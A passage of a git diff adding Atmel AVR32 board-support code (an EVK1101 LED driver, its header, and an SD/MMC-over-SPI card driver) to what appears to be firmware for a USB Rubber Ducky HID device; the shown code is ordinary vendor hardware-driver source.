<< LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Wr_bits(LED_State, mask, leds); + + // While there are specified LEDs left to manage... + while (mask) + { + // Select the next specified LED and set it to the requested state. + led_shift = 1 + ctz(mask); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + leds >>= led_shift - 1; + if (leds & 1) + { + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= 1; + mask >>= led_shift; + } +} + + +Bool LED_Test(U32 leds) +{ + return Tst_bits(LED_State, leds); +} + + +void LED_Off(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Clr_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and turn it off. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +void LED_On(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Set_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and turn it on. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +void LED_Toggle(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Tgl_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and toggle it. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrt = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +U32 LED_Read_Display_Field(U32 field) +{ + return Rd_bitfield(LED_State, field); +} + + +void LED_Display_Field(U32 field, U32 leds) +{ + // Move the bit-field to the appropriate position for the bit-mask. + LED_Display_Mask(field, leds << ctz(field)); +} + + +U8 LED_Get_Intensity(U32 led) +{ + tLED_DESCRIPTOR *led_descriptor; + + // Check that the argument value is valid. + led = ctz(led); + led_descriptor = &LED_DESCRIPTOR[led]; + if (led >= LED_COUNT || led_descriptor->PWM.CHANNEL < 0) return 0; + + // Return the duty cycle value if the LED PWM channel is enabled, else 0. + return (AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL)) ? + AVR32_PWM.channel[led_descriptor->PWM.CHANNEL].cdty : 0; +} + + +void LED_Set_Intensity(U32 leds, U8 intensity) +{ + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_pwm_channel_t *led_pwm_channel; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // For each specified LED... + for (leds &= (1 << LED_COUNT) - 1; leds; leds >>= led_shift) + { + // Select the next specified LED and check that it has a PWM channel. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + if (led_descriptor->PWM.CHANNEL < 0) continue; + + // Initialize or update the LED PWM channel. + led_pwm_channel = &AVR32_PWM.channel[led_descriptor->PWM.CHANNEL]; + if (!(AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL))) + { + led_pwm_channel->cmr = (AVR32_PWM_CPRE_MCK << AVR32_PWM_CPRE_OFFSET) & + ~(AVR32_PWM_CALG_MASK | + AVR32_PWM_CPOL_MASK | + AVR32_PWM_CPD_MASK); + led_pwm_channel->cprd = 0x000000FF; + led_pwm_channel->cdty = intensity; + AVR32_PWM.ena = 1 << led_descriptor->PWM.CHANNEL; + } + else + { + AVR32_PWM.isr; + while (!(AVR32_PWM.isr & (1 << led_descriptor->PWM.CHANNEL))); + led_pwm_channel->cupd = intensity; + } + + // Switch the LED pin to its PWM function. + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + if (led_descriptor->PWM.FUNCTION & 0x1) + { + led_gpio_port->pmr0s = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->pmr0c = led_descriptor->GPIO.PIN_MASK; + } + if (led_descriptor->PWM.FUNCTION & 0x2) + { + led_gpio_port->pmr1s = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->pmr1c = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->gperc = led_descriptor->GPIO.PIN_MASK; + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.h new file mode 100755 index 0000000..62be658 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.h @@ -0,0 +1,185 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AT32UC3B EVK1101 board LEDs support package. + * + * This file contains definitions and services related to the LED features of + * the EVK1101 board. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 AT32UC3B devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _LED_H_ +#define _LED_H_ + +#include "compiler.h" + + +/*! \name Identifiers of LEDs to Use with LED Functions + */ +//! @{ +#define LED0 0x01 +#define LED1 0x02 +#define LED2 0x04 +#define LED3 0x08 +//! @} + + +/*! \brief Gets the last state of all LEDs set through the LED API. + * + * \return State of all LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display(void); + +/*! \brief Sets the state of all LEDs. + * + * \param leds New state of all LEDs (1 bit per LED). + * + * \note The pins of all LEDs are set to GPIO output mode. + */ +extern void LED_Display(U32 leds); + +/*! \brief Gets the last state of the specified LEDs set through the LED API. + * + * \param mask LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Mask(U32 mask); + +/*! \brief Sets the state of the specified LEDs. + * + * \param mask LEDs of which to set the state (1 bit per LED). + * + * \param leds New state of the specified LEDs (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Mask(U32 mask, U32 leds); + +/*! \brief Tests the last state of the specified LEDs set through the LED API. + * + * \param leds LEDs of which to test the state (1 bit per LED). + * + * \return \c TRUE if at least one of the specified LEDs has a state on, else + * \c FALSE. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern Bool LED_Test(U32 leds); + +/*! \brief Turns off the specified LEDs. + * + * \param leds LEDs to turn off (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Off(U32 leds); + +/*! \brief Turns on the specified LEDs. + * + * \param leds LEDs to turn on (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_On(U32 leds); + +/*! \brief Toggles the specified LEDs. + * + * \param leds LEDs to toggle (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Toggle(U32 leds); + +/*! \brief Gets as a bit-field the last state of the specified LEDs set through + * the LED API. + * + * \param field LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED, beginning with the first + * specified LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Field(U32 field); + +/*! \brief Sets as a bit-field the state of the specified LEDs. + * + * \param field LEDs of which to set the state (1 bit per LED). + * \param leds New state of the specified LEDs (1 bit per LED, beginning with + * the first specified LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Field(U32 field, U32 leds); + +/*! \brief Gets the intensity of the specified LED. + * + * \param led LED of which to get the intensity (1 bit per LED; only the least + * significant set bit is used). + * + * \return Intensity of the specified LED (0x00 to 0xFF). + * + * \warning The PWM channel of the specified LED is supposed to be used only by + * this module. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U8 LED_Get_Intensity(U32 led); + +/*! \brief Sets the intensity of the specified LEDs. + * + * \param leds LEDs of which to set the intensity (1 bit per LED). + * \param intensity New intensity of the specified LEDs (0x00 to 0xFF). + * + * \warning The PWM channels of the specified LEDs are supposed to be used only + * by this module. + * + * \note The pins of the specified LEDs are set to PWM output mode. + */ +extern void LED_Set_Intensity(U32 leds, U8 intensity); + + +#endif // _LED_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c new file mode 100755 index 0000000..a90627e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c @@ -0,0 +1,1278 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SD/MMC card driver using SPI interface. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +/*_____ I N C L U D E S ____________________________________________________*/ + +#include "conf_access.h" + + +#if SD_MMC_SPI_MEM == ENABLE + +#include "compiler.h" +#include "board.h" +#include "gpio.h" +#include "spi.h" +#include "conf_sd_mmc_spi.h" +#include "sd_mmc_spi.h" +#include + + +/*_____ M A C R O S ________________________________________________________*/ + +#define NO_SUPPORT_USB_PING_PONG // defines if USB endpoints do not support ping pong mode + + +/*_____ D E F I N I T I O N ________________________________________________*/ + +static uint32_t gl_ptr_mem; // Memory data pointer +static uint8_t sector_buf[MMC_SECTOR_SIZE]; // Sector buffer +static spi_options_t sd_mmc_opt; +static unsigned int sd_mmc_pba_hz; + +Bool sd_mmc_spi_init_done = false; +uint8_t r1; +uint16_t r2; + + uint8_t csd[16]; // stores the Card Specific Data +volatile uint32_t capacity; // stores the capacity in bytes +volatile uint16_t capacity_mult; // stores the HighCapacity in bytes +volatile uint32_t sd_mmc_spi_last_block_address; // stores the address of the last block (sector) + uint16_t erase_group_size; // stores the number of blocks concerned by an erase command + uint8_t card_type; // stores SD_CARD or MMC_CARD type card + + + uint8_t data_mem[513]; // data buffer +#if (defined SD_MMC_READ_CID) && (SD_MMC_READ_CID == ENABLED) + uint8_t cid[16]; +#endif + + +/*_____ D E C L A R A T I O N ______________________________________________*/ + +//! +//! @brief This function initializes the SD/MMC controller. +//! +//! +//! @return bit +//! The memory is ready -> OK (always) +Bool sd_mmc_spi_internal_init(void) +{ + uint16_t retry; + int i; + int if_cond; + + // Start at low frequency + sd_mmc_opt.baudrate = 400000; + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); + + /* card needs 74 cycles minimum to start up */ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + for(i = 0; i < 10; ++i) { + spi_write(SD_MMC_SPI,0xFF); + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + + // RESET THE MEMORY CARD + sd_mmc_spi_init_done = false; + card_type = MMC_CARD; + retry = 0; + do + { + // reset card and go to SPI mode + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + // do retry counter + retry++; + if(retry > 100) + return KO; + } + while(r1 != 0x01); // check memory enters idle_state + + if_cond = sd_mmc_spi_get_if(); + if(if_cond == -1) { + return KO; // card is bad + } else if (if_cond == 1) { + card_type = SD_CARD_2; + } else { + // IDENTIFICATION OF THE CARD TYPE (SD or MMC) + // Both cards will accept CMD55 command but only the SD card will respond to ACMD41 + r1 = sd_mmc_spi_send_command(SD_APP_CMD55,0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + if ((r1&0xFE) == 0) { // ignore "in_idle_state" flag bit + card_type = SD_CARD; // card has accepted the command, this is a SD card + } else { + card_type = MMC_CARD; // card has not responded, this is a MMC card + // reset card again + retry = 0; + do { + // reset card again + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + // do retry counter + retry++; + if(retry > 100) + return KO; + } + while(r1 != 0x01); // check memory enters idle_state + } + } + + // CONTINUE INTERNAL INITIALIZATION OF THE CARD + // Continue sending CMD1 while memory card is in idle state + retry = 0; + do { + switch(card_type) { + case MMC_CARD: + r1 = sd_mmc_spi_send_command(MMC_SEND_OP_COND, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + case SD_CARD: + sd_mmc_spi_send_command(SD_APP_CMD55,0); + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + case SD_CARD_2: + // set high capacity bit mask + sd_mmc_spi_send_command(SD_APP_CMD55,0); + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0x40000000); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + } + // do retry counter + retry++; + if(retry == 50000) // measured approx. 500 on several cards + return KO; + } while (r1); + + // CHECK FOR SDHC + if(card_type == SD_CARD_2) { + if_cond = sd_mmc_spi_check_hc(); + if (if_cond == -1) { + return KO; + } else if (if_cond == 1){ + card_type = SD_CARD_2_SDHC; + } + } + + // DISABLE CRC TO SIMPLIFY AND SPEED UP COMMUNICATIONS + r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0); // disable CRC (should be already initialized on SPI init) + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + // SET BLOCK LENGTH TO 512 BYTES + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, 512); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + if (r1 != 0x00) + return KO; // card unsupported if block length of 512b is not accepted + + // GET CARD SPECIFIC DATA + if (KO == sd_mmc_spi_get_csd(csd)) + return KO; + + // GET CARD CAPACITY and NUMBER OF SECTORS + sd_mmc_spi_get_capacity(); + + // GET CARD IDENTIFICATION DATA IF REQUIRED +#if (defined SD_MMC_READ_CID) && (SD_MMC_READ_CID == ENABLED) + if (KO == sd_mmc_spi_get_cid(cid)) + return KO; +#endif + + sd_mmc_spi_init_done = true; + + // Set SPI Speed to MAX + sd_mmc_opt.baudrate = SD_MMC_SPI_MASTER_SPEED; + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); + return OK; +} + +//! +//! @brief This function initializes the SD/MMC controller & the SPI bus(over which the SD_MMC is controlled). +//! +//! +//! @return bit +//! The memory is ready -> OK (always) +Bool sd_mmc_spi_init(spi_options_t spiOptions, unsigned int pba_hz) +{ + // Keep SPI options internally + sd_mmc_pba_hz = pba_hz; + memcpy( &sd_mmc_opt, &spiOptions, sizeof(spi_options_t) ); + + // Initialize the SD/MMC controller. + return sd_mmc_spi_internal_init(); +} + +//! +//! @brief This function sends a command WITH NO DATA STATE to the SD/MMC and waits for R1 response +//! This function also selects and unselects the memory => should be used only for single command transmission +//! +//! @param command command to send (see sd_mmc_spi.h for command list) +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF if time out error) +uint8_t sd_mmc_spi_send_command(uint8_t command, uint32_t arg) +{ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(command, arg); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return r1; +} + +//! +//! @brief This function sends a command WITH DATA STATE to the SD/MMC and waits for R1 response +//! The memory /CS signal is not affected so this function can be used to send a commande during a large transmission +//! +//! @param command command to send (see sd_mmc_spi.h for command list) +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF time out error) +uint8_t sd_mmc_spi_command(uint8_t command, uint32_t arg) +{ + uint8_t retry; + + spi_write(SD_MMC_SPI, 0xFF); // write dummy byte + spi_write(SD_MMC_SPI, command | 0x40); // send command + spi_write(SD_MMC_SPI, arg>>24); // send parameter + spi_write(SD_MMC_SPI, arg>>16); + spi_write(SD_MMC_SPI, arg>>8 ); + spi_write(SD_MMC_SPI, arg ); + switch(command) + { + case MMC_GO_IDLE_STATE: + spi_write(SD_MMC_SPI, 0x95); + break; + case MMC_SEND_IF_COND: + spi_write(SD_MMC_SPI, 0x87); + break; + default: + spi_write(SD_MMC_SPI, 0xff); + break; + } + + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + retry++; + if(retry > 10) break; + } + return r1; +} + + + +//! +//! @brief This function sends a byte over SPI and returns the byte read from the slave. +//! +//! +//! @param data_to_send byte to send over SPI +//! +//! @return uint8_t +//! Byte read from the slave +uint8_t sd_mmc_spi_send_and_read(uint8_t data_to_send) +{ + unsigned short data_read; + spi_write(SD_MMC_SPI, data_to_send); + if( SPI_ERROR_TIMEOUT == spi_read(SD_MMC_SPI, &data_read) ) + return 0xFF; + return data_read; +} +//! +//! @brief This function detects the card interface. +//! +//! +//! @return int +//! SD_FAILURE +//! OK +//! SD_MMC + + +int sd_mmc_spi_get_if(void) +{ + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(MMC_SEND_IF_COND, 0x000001AA); + // check for valid response + if((r1 & MMC_R1_ILLEGAL_COM) != 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_MMC; + } + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + if((r1 & 0x01) == 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; + } + r1 = sd_mmc_spi_send_and_read(0xFF); + if(r1 != 0xaa) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; /* wrong test pattern */ + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return OK; +} +//! +//! @brief This function checks whether detected card is High Capacity SD card. +//! +//! +//! @return bit +//! SDHC_CARD Detected card is SDHC +//! SD_CARD Detected card is SD +//! ERROR + + +int sd_mmc_spi_check_hc(void) +{ + unsigned char hc_bit; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(SD_READ_OCR, 0); + // check for valid response + if(r1 != 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; + } + hc_bit = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + if(hc_bit & 0x40) { + return SDHC_CARD; + } + return 0; +} + +//! +//! @brief This function reads the CSD (Card Specific Data) of the memory card +//! +//! @param buffer to fill +//! +//! @return bit +//! OK / KO +Bool sd_mmc_spi_get_csd(uint8_t *buffer) +{ +uint8_t retry; +unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CSD, 0); + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + sd_mmc_spi_init_done = false; + return KO; + } + // wait for block start + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) + { + if (retry > 8) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + buffer[retry] = data_read; + } + spi_write(SD_MMC_SPI,0xFF); // load CRC (not used) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return OK; +} + + +//! +//! @brief This function reads the CID (Card Identification Data) of the memory card +//! +//! @param buffer to fill +//! +//! @return bit +//! OK / KO +Bool sd_mmc_spi_get_cid(uint8_t *buffer) +{ +uint8_t retry; +unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CID, 0); + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + sd_mmc_spi_init_done = false; + return KO; + } + // wait for data block start + retry = 0; + while((r2 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) + { + if (retry > 8) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + buffer[retry] = data_read; + } + spi_write(SD_MMC_SPI,0xFF); // load CRC (not used) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return OK; +} + + + +//! +//! @brief This function extracts structure information from CSD array +//! and compute the number of blocks of the memory card (stored in global uint32_t sd_mmc_spi_last_block_address), +//! its capacity in bytes (stored in global uint32_t capacity) +//! and the block group size for an erase operation +//! Here is defined the position of required fields in CSD array : +//! READ_BL_LEN : +//! [83:80] == data[5] && 0x0f +//! C_SIZE : +//! [73:72] == data[6] && 0x03 +//! [71:64] == data[7] +//! [63:62] == data[8] && 0xc0 +//! C_SIZE_MULT : +//! [49:48] == data[9] && 0x03 +//! [47] == data[10] && 0x80 +//! ERASE_GRP_SIZE (MMC card only) : +//! [46:42] == data[10] && 0x7c +//! ERASE_GRP_MULT (MMC card only) : +//! [41:40] == data[10] && 0x03 +//! [39:37] == data[11] && 0xe0 +//! SECTOR_SIZE (SD card only) : +//! [45:40] == data[10] && 0x3F +//! [39] == data[11] && 0x80 +//! +//! @return bit +//! OK +void sd_mmc_spi_get_capacity(void) +{ + uint32_t c_size; + uint8_t c_size_mult; + uint8_t read_bl_len; + uint8_t erase_grp_size; + uint8_t erase_grp_mult; + + // extract variables from CSD array + read_bl_len = csd[5] & 0x0F; + if (card_type == SD_CARD_2_SDHC) { + c_size = ((csd[7] & 0x3F) << 16) | (csd[8] << 8) | csd[9]; + ++c_size; + capacity = c_size << 19; + capacity_mult = (c_size >> 13) & 0x01FF; + sd_mmc_spi_last_block_address = (capacity >> 9) + (capacity_mult << 23) - 1; + } else { + c_size = ((csd[6] & 0x03) << 10) + (csd[7] << 2) + ((csd[8] & 0xC0) >> 6); + c_size_mult = ((csd[9] & 0x03) << 1) + ((csd[10] & 0x80) >> 7); + sd_mmc_spi_last_block_address = ((uint32_t)(c_size + 1) * (uint32_t)((1 << (c_size_mult + 2)))) - 1; + capacity = (1 << read_bl_len) * (sd_mmc_spi_last_block_address + 1); + capacity_mult = 0; + if (read_bl_len > 9) { // 9 means 2^9 = 512b + sd_mmc_spi_last_block_address <<= (read_bl_len - 9); + } + } + if (card_type == MMC_CARD) + { + erase_grp_size = ((csd[10] & 0x7C) >> 2); + erase_grp_mult = ((csd[10] & 0x03) << 3) | ((csd[11] & 0xE0) >> 5); + } + else + { + erase_grp_size = ((csd[10] & 0x3F) << 1) + ((csd[11] & 0x80) >> 7); + erase_grp_mult = 0; + } + erase_group_size = (erase_grp_size + 1) * (erase_grp_mult + 1); +} + + + +//! +//! @brief This function reads the 